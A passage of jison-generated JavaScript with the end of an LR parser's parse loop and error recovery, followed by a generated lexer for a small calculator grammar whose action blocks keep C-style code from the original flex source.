doesn't stay due to potential ref cycle via userland code manipulations (memory leak opportunity!):\n            destroy: function destructParseErrorInfo() {\n                // remove cyclic references added to error info:\n                // info.yy = null;\n                // info.lexer = null;\n                // info.value = null;\n                // info.value_stack = null;\n                // ...\n                var rec = !!this.recoverable;\n                for (var key in this) {\n                    if (this.hasOwnProperty(key) && typeof key !== 'function') {\n                        this[key] = undefined;\n                    }\n                }\n                this.recoverable = rec;\n            }\n        };\n    };\n\n\n    function lex() {\n        var token = lexer.lex();\n        // if token isn't its numeric value, convert\n        if (typeof token !== 'number') {\n            token = self.symbols_[token] || token;\n        }\n        return token || EOF;\n    }\n\n\n    var symbol = 0;\n    var preErrorSymbol = 0;\n    var state, action, r, t;\n    var yyval = {};\n    var p, len, this_production;\n    var lstack_begin, lstack_end;\n    var newState;\n    var retval = false;\n\n\n    // Return the rule stack depth where the nearest error rule can be found.\n    // Return -1 when no error recovery rule was found.\n    function locateNearestErrorRecoveryRule(state) {\n        var stack_probe = sp - 1;\n        var depth = 0;\n\n        // try to recover from error\n        for (;;) {\n            // check for error recovery rule in this state\n            var t = table[state][TERROR] || NO_ACTION;\n            if (t[0]) {\n                return depth;\n            }\n            if (state === 0 /* $accept rule */ || stack_probe < 1) {\n                return -1; // No suitable error recovery rule available.\n            }\n            --stack_probe; // popStack(1): [symbol, action]\n            state = sstack[stack_probe];\n            ++depth;\n        }\n    }\n\n    try {\n        this.__reentrant_call_depth++;\n\n        if (this.pre_parse) {\n            this.pre_parse.call(this, sharedState.yy);\n        }\n        if (sharedState.yy.pre_parse) {\n            sharedState.yy.pre_parse.call(this, sharedState.yy);\n        }\n\n        newState = sstack[sp - 1];\n        for (;;) {\n            // retrieve state number from top of stack\n            state = newState;               // sstack[sp - 1];\n\n            // use default actions if available\n            if (this.defaultActions[state]) {\n                action = 2;\n                newState = this.defaultActions[state];\n            } else {\n                // The single `==` condition below covers both these `===` comparisons in a single\n                // operation:\n                //\n                //     if (symbol === null || typeof symbol === 'undefined') ...\n                if (!symbol) {\n                    symbol = lex();\n                }\n                // read action for current state and first input\n                t = (table[state] && table[state][symbol]) || NO_ACTION;\n                newState = t[1];\n                action = t[0];\n\n\n\n\n                // handle parse error\n                if (!action) {\n                    // first see if there's any chance at hitting an error recovery rule:\n                    var error_rule_depth = locateNearestErrorRecoveryRule(state);\n                    var errStr = null;\n                    var errSymbolDescr = (this.describeSymbol(symbol) || symbol);\n                    var expected = this.collect_expected_token_set(state);\n\n                    if (!recovering) {\n                        // Report error\n                        if (lexer.showPosition) {\n                            errStr = 'Parse error on line ' + (lexer.yylineno + 1) + ':\\n' + lexer.showPosition(79 - 10, 10) + '\\n';\n                        } else {\n                            errStr = 'Parse error on line ' + (lexer.yylineno + 1) + ': ';\n                        }\n                        if (expected.length) {\n                            errStr += 'Expecting ' + expected.join(', ') + ', got unexpected ' + errSymbolDescr;\n                        } else {\n                            errStr += 'Unexpected ' + errSymbolDescr;\n                        }\n                        p = this.constructParseErrorInfo(errStr, null, expected, (error_rule_depth >= 0));\n                        r = this.parseError(p.errStr, p);\n\n\n                        if (!p.recoverable) {\n                            retval = r;\n                            break;\n                        } else {\n                            // TODO: allow parseError callback to edit symbol and or state tat the start of the error recovery process...\n                        }\n                    }\n\n\n\n                    // just recovered from another error\n                    if (recovering === ERROR_RECOVERY_TOKEN_DISCARD_COUNT && error_rule_depth >= 0) {\n                        // only barf a fatal hairball when we're out of look-ahead symbols and none hit a match;\n                        // this DOES discard look-ahead while recovering from an error when said look-ahead doesn't\n                        // suit the error recovery rules... The error HAS been reported already so we're fine with\n                        // throwing away a few items if that is what it takes to match the nearest recovery rule!\n                        if (symbol === EOF || preErrorSymbol === EOF) {\n                            p = this.constructParseErrorInfo((errStr || 'Parsing halted while starting to recover from another error.'), null, expected, false);\n                            retval = this.parseError(p.errStr, p);\n                            break;\n                        }\n\n                        // discard current lookahead and grab another\n\n                        yytext = lexer.yytext;\n\n                        yyloc = lexer.yylloc;\n\n                        symbol = lex();\n\n\n                    }\n\n                    // try to recover from error\n                    if (error_rule_depth < 0) {\n                        p = this.constructParseErrorInfo((errStr || 'Parsing halted. No suitable error recovery rule available.'), null, expected, false);\n                        retval = this.parseError(p.errStr, p);\n                        break;\n                    }\n                    sp -= error_rule_depth;\n\n                    preErrorSymbol = (symbol === TERROR ? 0 : symbol); // save the lookahead token\n                    symbol = TERROR;            // insert generic error symbol as new lookahead\n                    // allow N (default: 3) real symbols to be shifted before reporting a new error\n                    recovering = ERROR_RECOVERY_TOKEN_DISCARD_COUNT;\n\n                    newState = sstack[sp - 1];\n\n\n\n                    continue;\n                }\n            }\n\n\n            switch (action) {\n            // catch misc. parse failures:\n            default:\n                // this shouldn't happen, unless resolve defaults are off\n                if (action instanceof Array) {\n                    p = this.constructParseErrorInfo(('Parse Error: multiple actions possible at state: ' + state + ', token: ' + symbol), null, null, false);\n                    retval = this.parseError(p.errStr, p);\n                    break;\n                }\n                // Another case of better safe than sorry: in case state transitions come out of another error recovery process\n                // or a buggy LUT (LookUp Table):\n                p = this.constructParseErrorInfo('Parsing halted. No viable error recovery approach available due to internal system failure.', null, null, false);\n                retval = this.parseError(p.errStr, p);\n                break;\n\n            // shift:\n            case 1:\n                //this.shiftCount++;\n                stack[sp] = symbol;\n                vstack[sp] = lexer.yytext;\n                lstack[sp] = lexer.yylloc;\n                sstack[sp] = newState; // push state\n                ++sp;\n                symbol = 0;\n                if (!preErrorSymbol) { // normal execution / no error\n                    // Pick up the lexer details for the current symbol as that one is not 'look-ahead' any more:\n\n                    yytext = lexer.yytext;\n\n                    yyloc = lexer.yylloc;\n\n                    if (recovering > 0) {\n                        recovering--;\n\n                    }\n                } else {\n                    // error just occurred, resume old lookahead f/ before error, *unless* that drops us straight back into error mode:\n                    symbol = preErrorSymbol;\n                    preErrorSymbol = 0;\n\n                    // read action for current state and first input\n                    t = (table[newState] && table[newState][symbol]) || NO_ACTION;\n                    if (!t[0]) {\n                        // forget about that symbol and move forward: this wasn't an 'forgot to insert' error type where\n                        // (simple) stuff might have been missing before the token which caused the error we're\n                        // recovering from now...\n\n                        symbol = 0;\n                    }\n                }\n\n                continue;\n\n            // reduce:\n            case 2:\n                //this.reductionCount++;\n                this_production = this.productions_[newState - 1];  // `this.productions_[]` is zero-based indexed while states start from 1 upwards...\n                len = this_production[1];\n                lstack_end = sp;\n                lstack_begin = lstack_end - (len || 1);\n                lstack_end--;\n\n\n\n                // Make sure subsequent `$$ = $1` default action doesn't fail\n                // for rules where len==0 as then there's no $1 (you're reducing an epsilon rule then!)\n                //\n                // Also do this to prevent nasty action block codes to *read* `$0` or `$$`\n                // and *not* get `undefined` as a result for their efforts!\n                vstack[sp] = undefined;\n\n                // perform semantic action\n                yyval.$ = vstack[sp - len]; // default to $$ = $1; result must produce `undefined` when len == 0, as then there's no $1\n\n                // default location, uses first token for firsts, last for lasts\n                yyval._$ = {\n                    first_line: lstack[lstack_begin].first_line,\n                    last_line: lstack[lstack_end].last_line,\n                    first_column: lstack[lstack_begin].first_column,\n                    last_column: lstack[lstack_end].last_column\n                };\n                if (ranges) {\n                  yyval._$.range = [lstack[lstack_begin].range[0], lstack[lstack_end].range[1]];\n                }\n\n                r = this.performAction.call(yyval, yytext, yyloc, sharedState.yy, newState, sp - 1, vstack, lstack);\n\n                if (typeof r !== 'undefined') {\n                    retval = r;\n                    break;\n                }\n\n                // pop off stack\n                sp -= len;\n\n                // don't overwrite the `symbol` variable: use a local var to speed things up:\n                var ntsymbol = this_production[0];    // push nonterminal (reduce)\n                stack[sp] = ntsymbol;\n                vstack[sp] = yyval.$;\n                lstack[sp] = yyval._$;\n                // goto new state = table[STATE][NONTERMINAL]\n                newState = table[sstack[sp - 1]][ntsymbol];\n                sstack[sp] = newState;\n                ++sp;\n\n                continue;\n\n            // accept:\n            case 3:\n                retval = true;\n                // Return the `$accept` rule's `$$` result, if available.\n                //\n                // Also note that JISON always adds this top-most `$accept` rule (with implicit,\n                // default, action):\n                //\n                //     $accept: <startSymbol> $end\n                //                  %{ $$ = $1; @$ = @1; %}\n                //\n                // which, combined with the parse kernel's `$accept` state behaviour coded below,\n                // will produce the `$$` value output of the <startSymbol> rule as the parse result,\n                // IFF that result is *not* `undefined`. (See also the parser kernel code.)\n                //\n                // In code:\n                //\n                //                  %{\n                //                      @$ = @1;            // if location tracking support is included\n                //                      if (typeof $1 !== 'undefined')\n                //                          return $1;\n                //                      else\n                //                          return true;           // the default parse result if the rule actions don't produce anything\n                //                  %}\n                if (typeof yyval.$ !== 'undefined') {\n                    retval = yyval.$;\n                }\n                break;\n            }\n\n            // break out of loop: we accept or fail with error\n            break;\n        }\n    } catch (ex) {\n        // report exceptions through the parseError callback too:\n        p = this.constructParseErrorInfo('Parsing aborted due to exception.', ex, null, false);\n        retval = this.parseError(p.errStr, p);\n    } finally {\n        retval = this.cleanupAfterParse(retval, true);\n        this.__reentrant_call_depth--;\n    }\n\n    return retval;\n},\nyyErrOk: 1\n};\nparser.originalParseError = parser.parseError;\nparser.originalQuoteName = parser.quoteName;\n/*! @file lex.l\n * @brief Lexical Analysis\n *********************************************************************\n * a simple calculator with variables\n *\n * sample-files for a artikel in developerworks.ibm.com\n * Author: Christian Hagen, chagen@de.ibm.com\n * \n * @par parse.l & parse.c\n * grammar for the parser-generator bison\n * \n *********************************************************************\n */\n\n// #define YYERROR_VERBOSE 1\n// #define YYDEBUG 1\n// int yydebug=0;\n\n/*--------------------------------------------------------------------\n * \n * global variables\n * \n *------------------------------------------------------------------*/\nstatic Variable *var;\n\n\n/*------------------------------------------------------------------------------\n * \n * functions\n * \n *----------------------------------------------------------------------------*/\n//extern\n//void yyerror(char *s) {\n// // simple error-message\n// //  printf(\"Error '%s'\\n\", s);\n// //  a more sophisticated error-function\n//  PrintError(s);\n//}\n\n/*--------------------------------------------------------------------\n * parse.y\n *------------------------------------------------------------------*/\n/* generated by jison-lex 0.3.4-144 */\nvar lexer = (function () {\n// See also:\n// http://stackoverflow.com/questions/1382107/whats-a-good-way-to-extend-error-in-javascript/#35881508\n// but we keep the prototype.constructor and prototype.name assignment lines too for compatibility\n// with userland code which might access the derived class in a 'classic' way.\nfunction JisonLexerError(msg, hash) {\n    Object.defineProperty(this, 'name', {\n        enumerable: false,\n        writable: false,\n        value: 'JisonLexerError'\n    });\n\n    if (msg == null) msg = '???';\n\n    Object.defineProperty(this, 'message', {\n        enumerable: false,\n        writable: true,\n        value: msg\n    });\n\n    this.hash = hash;\n\n    var stacktrace;\n    if (hash && hash.exception instanceof Error) {\n        var ex2 = hash.exception;\n        this.message = ex2.message || msg;\n        stacktrace = ex2.stack;\n    }\n    if (!stacktrace) {\n        if (Error.hasOwnProperty('captureStackTrace')) { // V8\n            Error.captureStackTrace(this, this.constructor);\n        } else {\n            stacktrace = (new Error(msg)).stack;\n        }\n    }\n    if (stacktrace) {\n        Object.defineProperty(this, 'stack', {\n            enumerable: false,\n            writable: false,\n            value: stacktrace\n        });\n    }\n}\n\n    if (typeof Object.setPrototypeOf === 'function') {\n        Object.setPrototypeOf(JisonLexerError.prototype, Error.prototype);\n    } else {\n        JisonLexerError.prototype = Object.create(Error.prototype);\n    }\n    JisonLexerError.prototype.constructor = JisonLexerError;\n    JisonLexerError.prototype.name = 'JisonLexerError';\n\n\nvar lexer = {\n    EOF: 1,\n    ERROR: 2,\n\n    // JisonLexerError: JisonLexerError,        // <-- injected by the code generator\n\n    // options: {},                             // <-- injected by the code generator\n\n    // yy: ...,                                 // <-- injected by setInput()\n\n    __currentRuleSet__: null,                   // <-- internal rule set cache for the current lexer state\n\n    parseError: function lexer_parseError(str, hash) {\n        if (this.yy.parser && typeof this.yy.parser.parseError === 'function') {\n            return this.yy.parser.parseError(str, hash) || this.ERROR;\n        } else {\n            throw new this.JisonLexerError(str);\n        }\n    },\n\n    // clear the lexer token context; intended for internal use only\n    clear: function lexer_clear() {\n        this.yytext = '';\n        this.yyleng = 0;\n        this.match = '';\n        this.matches = false;\n        this._more = false;\n        this._backtrack = false;\n    },\n\n    // resets the lexer, sets new input\n    setInput: function lexer_setInput(input, yy) {\n        this.yy = yy || this.yy || {};\n        this._input = input;\n        this.clear();\n        this._signaled_error_token = this.done = false;\n        this.yylineno = 0;\n        this.matched = '';\n        this.conditionStack = ['INITIAL'];\n        this.__currentRuleSet__ = null;\n        this.yylloc = {\n            first_line: 1,\n            first_column: 0,\n            last_line: 1,\n            last_column: 0\n        };\n        if (this.options.ranges) {\n            this.yylloc.range = [0, 0];\n        }\n        this.offset = 0;\n        return this;\n    },\n\n    // consumes and returns one char from the input\n    input: function lexer_input() {\n        if (!this._input) {\n            this.done = true;\n            return null;\n        }\n        var ch = this._input[0];\n        this.yytext += ch;\n        this.yyleng++;\n        this.offset++;\n        this.match += ch;\n        this.matched += ch;\n        // Count the linenumber up when we hit the LF (or a stand-alone CR).\n        // On CRLF, the linenumber is incremented when you fetch the CR or the CRLF combo\n        // and we advance immediately past the LF as well, returning both together as if\n        // it was all a single 'character' only.\n        var slice_len = 1;\n        var lines = false;\n        if (ch === '\\n') {\n            lines = true;\n        } else if (ch === '\\r') {\n            lines = true;\n            var ch2 = this._input[1];\n            if (ch2 === '\\n') {\n                slice_len++;\n                ch += ch2;\n                this.yytext += ch2;\n                this.yyleng++;\n                this.offset++;\n                this.match += ch2;\n                this.matched += ch2;\n                if (this.options.ranges) {\n                    this.yylloc.range[1]++;\n                }\n            }\n        }\n        if (lines) {\n            this.yylineno++;\n            this.yylloc.last_line++;\n        } else {\n            this.yylloc.last_column++;\n        }\n        if (this.options.ranges) {\n            this.yylloc.range[1]++;\n        }\n\n        this._input = this._input.slice(slice_len);\n        return ch;\n    },\n\n    // unshifts one char (or a string) into the input\n    unput: function lexer_unput(ch) {\n        var len = ch.length;\n        var lines = ch.split(/(?:\\r\\n?|\\n)/g);\n\n        this._input = ch + this._input;\n        this.yytext = this.yytext.substr(0, this.yytext.length - len);\n        //this.yyleng -= len;\n        this.offset -= len;\n        var oldLines = this.match.split(/(?:\\r\\n?|\\n)/g);\n        this.match = this.match.substr(0, this.match.length - len);\n        this.matched = this.matched.substr(0, this.matched.length - len);\n\n        if (lines.length - 1) {\n            this.yylineno -= lines.length - 1;\n        }\n\n        this.yylloc.last_line = this.yylineno + 1;\n        this.yylloc.last_column = (lines ?\n                (lines.length === oldLines.length ? this.yylloc.first_column : 0)\n                + oldLines[oldLines.length - lines.length].length - lines[0].length :\n                this.yylloc.first_column - len);\n\n        if (this.options.ranges) {\n            this.yylloc.range[1] = this.yylloc.range[0] + this.yyleng - len;\n        }\n        this.yyleng = this.yytext.length;\n        this.done = false;\n        return this;\n    },\n\n    // When called from action, caches matched text and appends it on next action\n    more: function lexer_more() {\n        this._more = true;\n        return this;\n    },\n\n    // When called from action, signals the lexer that this rule fails to match the input, so the next matching rule (regex) should be tested instead.\n    reject: function lexer_reject() {\n        if (this.options.backtrack_lexer) {\n            this._backtrack = true;\n        } else {\n            // when the parseError() call returns, we MUST ensure that the error is registered.\n            // We accomplish this by signaling an 'error' token to be produced for the current\n            // .lex() run.\n            this._signaled_error_token = (this.parseError('Lexical error on line ' + (this.yylineno + 1) + '. You can only invoke reject() in the lexer when the lexer is of the backtracking persuasion (options.backtrack_lexer = true).\\n' + this.showPosition(), {\n                text: this.match,\n                token: null,\n                line: this.yylineno,\n                loc: this.yylloc,\n                lexer: this\n            }) || this.ERROR);\n        }\n        return this;\n    },\n\n    // retain first n characters of the match\n    less: function lexer_less(n) {\n        return this.unput(this.match.slice(n));\n    },\n\n    // return (part of the) already matched input, i.e. for error messages.\n    // Limit the returned string length to `maxSize` (default: 20).\n    // Limit the returned string to the `maxLines` number of lines of input (default: 1).\n    // Negative limit values equal *unlimited*.\n    pastInput: function lexer_pastInput(maxSize, maxLines) {\n        var past = this.matched.substring(0, this.matched.length - this.match.length);\n        if (maxSize < 0)\n            maxSize = past.length;\n        else if (!maxSize)\n            maxSize = 20;\n        if (maxLines < 0)\n            maxLines = past.length;         // can't ever have more input lines than this!\n        else if (!maxLines)\n            maxLines = 1;\n        // `substr` anticipation: treat \\r\\n as a single character and take a little\n        // more than necessary so that we can still properly check against maxSize\n        // after we've transformed and limited the newLines in here:\n        past = past.substr(-maxSize * 2 - 2);\n        // now that we have a significantly reduced string to process, transform the newlines\n        // and chop them, then limit them:\n        var a = past.replace(/\\r\\n|\\r/g, '\\n').split('\\n');\n        a = a.slice(-maxLines);\n        past = a.join('\\n');\n        // When, after limiting to maxLines, we still have to much to return, \n        // do add an ellipsis prefix...\n        if (past.length > maxSize) {\n            past = '...' + past.substr(-maxSize);\n        }\n        return past;\n    },\n\n    // return (part of the) upcoming input, i.e. for error messages.\n    // Limit the returned string length to `maxSize` (default: 20).\n    // Limit the returned string to the `maxLines` number of lines of input (default: 1).\n    // Negative limit values equal *unlimited*.\n    upcomingInput: function lexer_upcomingInput(maxSize, maxLines) {\n        var next = this.match;\n        if (maxSize < 0)\n            maxSize = next.length + this._input.length;\n        else if (!maxSize)\n            maxSize = 20;\n        if (maxLines < 0)\n            maxLines = maxSize;         // can't ever have more input lines than this!\n        else if (!maxLines)\n            maxLines = 1;\n        // `substring` anticipation: treat \\r\\n as a single character and take a little\n        // more than necessary so that we can still properly check against maxSize\n        // after we've transformed and limited the newLines in here:\n        if (next.length < maxSize * 2 + 2) {\n            next += this._input.substring(0, maxSize * 2 + 2);  // substring is faster on Chrome/V8\n        }\n        // now that we have a significantly reduced string to process, transform the newlines\n        // and chop them, then limit them:\n        var a = next.replace(/\\r\\n|\\r/g, '\\n').split('\\n');\n        a = a.slice(0, maxLines);\n        next = a.join('\\n');\n        // When, after limiting to maxLines, we still have to much to return, \n        // do add an ellipsis postfix...\n        if (next.length > maxSize) {\n            next = next.substring(0, maxSize) + '...';\n        }\n        return next;\n    },\n\n    // return a string which displays the character position where the lexing error occurred, i.e. for error messages\n    showPosition: function lexer_showPosition(maxPrefix, maxPostfix) {\n        var pre = this.pastInput(maxPrefix).replace(/\\s/g, ' ');\n        var c = new Array(pre.length + 1).join('-');\n        return pre + this.upcomingInput(maxPostfix).replace(/\\s/g, ' ') + '\\n' + c + '^';\n    },\n\n    // helper function, used to produce a human readable description as a string, given\n    // the input `yylloc` location object. \n    // Set `display_range_too` to TRUE to include the string character inex position(s)\n    // in the description if the `yylloc.range` is available. \n    describeYYLLOC: function lexer_describe_yylloc(yylloc, display_range_too) {\n        var l1 = yylloc.first_line;\n        var l2 = yylloc.last_line;\n        var o1 = yylloc.first_column;\n        var o2 = yylloc.last_column - 1;\n        var dl = l2 - l1;\n        var d_o = (dl === 0 ? o2 - o1 : 1000);\n        var rv;\n        if (dl === 0) {\n            rv = 'line ' + l1 + ', ';\n            if (d_o === 0) {\n                rv += 'column ' + o1;\n            } else {\n                rv += 'columns ' + o1 + ' .. ' + o2;\n            }\n        } else {\n            rv = 'lines ' + l1 + '(column ' + o1 + ') .. ' + l2 + '(column ' + o2 + ')';\n        }\n        if (yylloc.range && display_range_too) {\n            var r1 = yylloc.range[0];\n            var r2 = yylloc.range[1] - 1;\n            if (r2 === r1) {\n                rv += ' {String Offset: ' + r1 + '}';\n            } else {\n                rv += ' {String Offset range: ' + r1 + ' .. ' + r2 + '}';\n            }\n        }\n        return rv;\n        // return JSON.stringify(yylloc);\n    },\n\n    // test the lexed token: return FALSE when not a match, otherwise return token.\n    //\n    // `match` is supposed to be an array coming out of a regex match, i.e. `match[0]`\n    // contains the actually matched text string.\n    //\n    // Also move the input cursor forward and update the match collectors:\n    // - yytext\n    // - yyleng\n    // - match\n    // - matches\n    // - yylloc\n    // - offset\n    test_match: function lexer_test_match(match, indexed_rule) {\n        var token,\n            lines,\n            backup,\n            match_str;\n\n        if (this.options.backtrack_lexer) {\n            // save context\n            backup = {\n                yylineno: this.yylineno,\n                yylloc: {\n                    first_line: this.yylloc.first_line,\n                    last_line: this.last_line,\n                    first_column: this.yylloc.first_column,\n                    last_column: this.yylloc.last_column\n                },\n                yytext: this.yytext,\n                match: this.match,\n                matches: this.matches,\n                matched: this.matched,\n                yyleng: this.yyleng,\n                offset: this.offset,\n                _more: this._more,\n                _input: this._input,\n                yy: this.yy,\n                conditionStack: this.conditionStack.slice(0),\n                done: this.done\n            };\n            if (this.options.ranges) {\n                backup.yylloc.range = this.yylloc.range.slice(0);\n            }\n        }\n\n        match_str = match[0];\n        lines = match_str.match(/(?:\\r\\n?|\\n).*/g);\n        if (lines) {\n            this.yylineno += lines.length;\n        }\n        this.yylloc = {\n            first_line: this.yylloc.last_line,\n            last_line: this.yylineno + 1,\n            first_column: this.yylloc.last_column,\n            last_column: lines ?\n                         lines[lines.length - 1].length - lines[lines.length - 1].match(/\\r?\\n?/)[0].length :\n                         this.yylloc.last_column + match_str.length\n        };\n        this.yytext += match_str;\n        this.match += match_str;\n        this.matches = match;\n        this.yyleng = this.yytext.length;\n        if (this.options.ranges) {\n            this.yylloc.range = [this.offset, this.offset + this.yyleng];\n        }\n        // previous lex rules MAY have invoked the `more()` API rather than producing a token:\n        // those rules will already have moved this `offset` forward matching their match lengths,\n        // hence we must only add our own match length now:\n        this.offset += match_str.length;\n        this._more = false;\n        this._backtrack = false;\n        this._input = this._input.slice(match_str.length);\n        this.matched += match_str;\n        token = this.performAction.call(this, this.yy, this, indexed_rule, this.conditionStack[this.conditionStack.length - 1]);\n        if (this.done && this._input) {\n            this.done = false;\n        }\n        if (token) {\n            return token;\n        } else if (this._backtrack) {\n            // recover context\n            for (var k in backup) {\n                this[k] = backup[k];\n            }\n            this.__currentRuleSet__ = null;\n            return false; // rule action called reject() implying the next rule should be tested instead.\n        } else if (this._signaled_error_token) {\n            // produce one 'error' token as .parseError() in reject() did not guarantee a failure signal by throwing an exception!\n            token = this._signaled_error_token;\n            this._signaled_error_token = false;\n            return token;\n        }\n        return false;\n    },\n\n    // return next match in input\n    next: function lexer_next() {\n        if (this.done) {\n            this.clear();\n            return this.EOF;\n        }\n        if (!this._input) {\n            this.done = true;\n        }\n\n        var token,\n            match,\n            tempMatch,\n            index;\n        if (!this._more) {\n            this.clear();\n        }\n        var rules = this.__currentRuleSet__;\n        if (!rules) {\n            // Update the ruleset cache as we apparently encountered a state change or just started lexing.\n            // The cache is set up for fast lookup -- we assume a lexer will switch states much less often than it will\n            // invoke the `lex()` token-producing API and related APIs, hence caching the set for direct access helps\n            // speed up those activities a tiny bit.\n            rules = this.__currentRuleSet__ = this._currentRules();\n        }\n        for (var i = 0, len = rules.length; i < len; i++) {\n            tempMatch = this._input.match(this.rules[rules[i]]);\n            if (tempMatch && (!match || tempMatch[0].length > match[0].length)) {\n                match = tempMatch;\n                index = i;\n                if (this.options.backtrack_lexer) {\n                    token = this.test_match(tempMatch, rules[i]);\n                    if (token !== false) {\n                        return token;\n                    } else if (this._backtrack) {\n                        match = undefined;\n                        continue; // rule action called reject() implying a rule MISmatch.\n                    } else {\n                        // else: this is a lexer rule which consumes input without producing a token (e.g. whitespace)\n                        return false;\n                    }\n                } else if (!this.options.flex) {\n                    break;\n                }\n            }\n        }\n        if (match) {\n            token = this.test_match(match, rules[index]);\n            if (token !== false) {\n                return token;\n            }\n            // else: this is a lexer rule which consumes input without producing a token (e.g. whitespace)\n            return false;\n        }\n        if (this._input === '') {\n            this.clear();\n            this.done = true;\n            return this.EOF;\n        } else {\n            token = this.parseError('Lexical error on line ' + (this.yylineno + 1) + '. Unrecognized text.\\n' + this.showPosition(), {\n                text: this.match + this._input,\n                token: null,\n                line: this.yylineno,\n                loc: this.yylloc,\n                lexer: this\n            }) || this.ERROR;\n            if (token === this.ERROR) {\n                // we can try to recover from a lexer error that parseError() did not 'recover' for us, by moving forward at least one character at a time:\n                if (!this.match.length) {\n                    this.input();\n                }\n            }\n            return token;\n        }\n    },\n\n    // return next match that has a token\n    lex: function lexer_lex() {\n        var r;\n        // allow the PRE/POST handlers set/modify the return token for maximum flexibility of the generated lexer:\n        if (typeof this.options.pre_lex === 'function') {\n            r = this.options.pre_lex.call(this);\n        }\n        while (!r) {\n            r = this.next();\n        }\n        if (typeof this.options.post_lex === 'function') {\n            // (also account for a userdef function which does not return any value: keep the token as is)\n            r = this.options.post_lex.call(this, r) || r;\n        }\n        return r;\n    },\n\n    // backwards compatible alias for `pushState()`;\n    // the latter is symmetrical with `popState()` and we advise to use\n    // those APIs in any modern lexer code, rather than `begin()`.\n    begin: function lexer_begin(condition) {\n        return this.pushState(condition);\n    },\n\n    // activates a new lexer condition state (pushes the new lexer condition state onto the condition stack)\n    pushState: function lexer_pushState(condition) {\n        this.conditionStack.push(condition);\n        this.__currentRuleSet__ = null;\n        return this;\n    },\n\n    // pop the previously active lexer condition state off the condition stack\n    popState: function lexer_popState() {\n        var n = this.conditionStack.length - 1;\n        if (n > 0) {\n            this.__currentRuleSet__ = null;\n            return this.conditionStack.pop();\n        } else {\n            return this.conditionStack[0];\n        }\n    },\n\n    // return the currently active lexer condition state; when an index argument is provided it produces the N-th previous condition state, if available\n    topState: function lexer_topState(n) {\n        n = this.conditionStack.length - 1 - Math.abs(n || 0);\n        if (n >= 0) {\n            return this.conditionStack[n];\n        } else {\n            return 'INITIAL';\n        }\n    },\n\n    // (internal) determine the lexer rule set which is active for the currently active lexer condition state\n    _currentRules: function lexer__currentRules() {\n        if (this.conditionStack.length && this.conditionStack[this.conditionStack.length - 1]) {\n            return this.conditions[this.conditionStack[this.conditionStack.length - 1]].rules;\n        } else {\n            return this.conditions['INITIAL'].rules;\n        }\n    },\n\n    // return the number of states currently on the stack\n    stateStackSize: function lexer_stateStackSize() {\n        return this.conditionStack.length;\n    },\noptions: {},\nJisonLexerError: JisonLexerError,\nperformAction: function lexer__performAction(yy, yy_, $avoiding_name_collisions, YY_START) {\n\nvar YYSTATE = YY_START;\nswitch($avoiding_name_collisions) {\ncase 0 : \n/*! Conditions:: INITIAL */ \n/*! Rule::       [ \\t\\r\\n]+ */ \n \n    /* eat up whitespace */\n    BeginToken(yy_.yytext); \n     \nbreak;\ncase 1 : \n/*! Conditions:: INITIAL */ \n/*! Rule::       {DIGIT}+ */ \n \n    BeginToken(yy_.yytext); \n    yylval.value = atof(yy_.yytext);\n    return VALUE;\n     \nbreak;\ncase 2 : \n/*! Conditions:: INITIAL */ \n/*! Rule::       {DIGIT}+\\.{DIGIT}* */ \n \n    BeginToken(yy_.yytext);\n    yylval.value = atof(yy_.yytext);\n    return VALUE;\n     \nbreak;\ncase 3 : \n/*! Conditions:: INITIAL */ \n/*! Rule::       {DIGIT}+[eE][\"+\"\"-\"]?{DIGIT}* */ \n \n    BeginToken(yy_.yytext);\n    yylval.value = atof(yy_.yytext);\n    return VALUE;\n     \nbreak;\ncase 4 : \n/*! Conditions:: INITIAL */ \n/*! Rule::       {DIGIT}+\\.{DIGIT}*[eE][\"+\"\"-\"]?{DIGIT}* */ \n \n    BeginToken(yy_.yytext);\n    yylval.value = atof(yy_.yytext);\n    return VALUE;\n     \nbreak;\ncase 5 : \n/*! Conditions:: INITIAL */ \n/*! Rule::       {ID} */ \n \n    BeginToken(yy_.yytext);\n    yylval.string = malloc(strlen(yy_.yytext)+1);\n    strcpy(yylval.string, yy_.yytext);\n    return IDENTIFIER;\n     \nbreak;\ncase 6 : \n/*! Conditions:: INITIAL */ \n/*! Rule::       \\+ */ \n  BeginToken(yy_.yytext); return ADD;  \nbreak;\ncase 7 : \n/*! Conditions:: INITIAL */ \n/*! Rule::       - */ \n  BeginToken(yy_.yytext); return SUB;  \nbreak;\ncase 8 : \n/*! Conditions:: INITIAL */ \n/*! Rule::       \\* */ \n  BeginToken(yy_.yytext); return MULT;  \nbreak;\ncase 9 : \n/*! Conditions:: INITIAL */ \n/*! Rule::       \\/ */ \n  BeginToken(yy_.yytext); return DIV;  \nbreak;\ncase 10 : \n/*! Conditions:: INITIAL */ \n/*! Rule::       \\( */ \n  BeginToken(yy_.yytext); return LBRACE;  \nbreak;\ncase 11 : \n/*! Conditions:: INITIAL */ \n/*! Rule::       \\) */ \n  BeginToken(yy_.yytext); return RBRACE;  \nbreak;\ncase 12 : \n/*! Conditions:: INITIAL */ \n/*! Rule::       ; */ \n  BeginToken(yy_.yytext); return SEMICOLON;  \nbreak;\ncase 13 : \n/*! Conditions:: INITIAL */ \n/*! Rule::       = */ \n  BeginToken(yy_.yytext); return ASSIGN;  \nbreak;\ncase 14 : \n/*! Conditions:: INITIAL */ \n/*! Rule::       . */ \n \n    BeginToken(yy_.yytext);\n    return yy_.yytext[0];\n     \nbreak;\ndefault:\n  return this.simpleCaseActionClusters[$avoiding_name_collisions];\n}\n},\nsimpleCaseActionClusters: {\n\n},\nrules: [\n/^(?:[ \\t\\r\\n]+)/,\n/^(?:([0-9])+)/,\n/^(?:([0-9])+\\.([0-9])*)/,\n/^(?:([0-9])+[Ee][\"+]?([0-9])*)/,\n/^(?:([0-9])+\\.([0-9])*[Ee][\"+]?([0-9])*)/,\n/^(?:([A-Z_a-z][0-9A-Z_a-z]*))/,\n/^(?:\\+)/,\n/^(?:-)/,\n/^(?:\\*)/,\n/^(?:\\/)/,\n/^(?:\\()/,\n/^(?:\\))/,\n/^(?:;)/,\n/^(?:=)/,\n/^(?:.)/\n],\nconditions: {\n  \"INITIAL\": {\n    rules: [\n      0,\n      1,\n      2,\n      3,\n      4,\n      5,\n      6,\n      7,\n      8,\n      9,\n      10,\n      11,\n      12,\n      13,\n      14\n    ],\n    inclusive: true\n  }\n}\n};\n\n/*--------------------------------------------------------------------\n * lex.l\n *------------------------------------------------------------------*/;\nreturn lexer;\n})();\nparser.lexer = lexer;\n\nfunction Parser() {\n  this.yy = {};\n}\nParser.prototype = parser;\nparser.Parser = Parser;\n\nreturn new 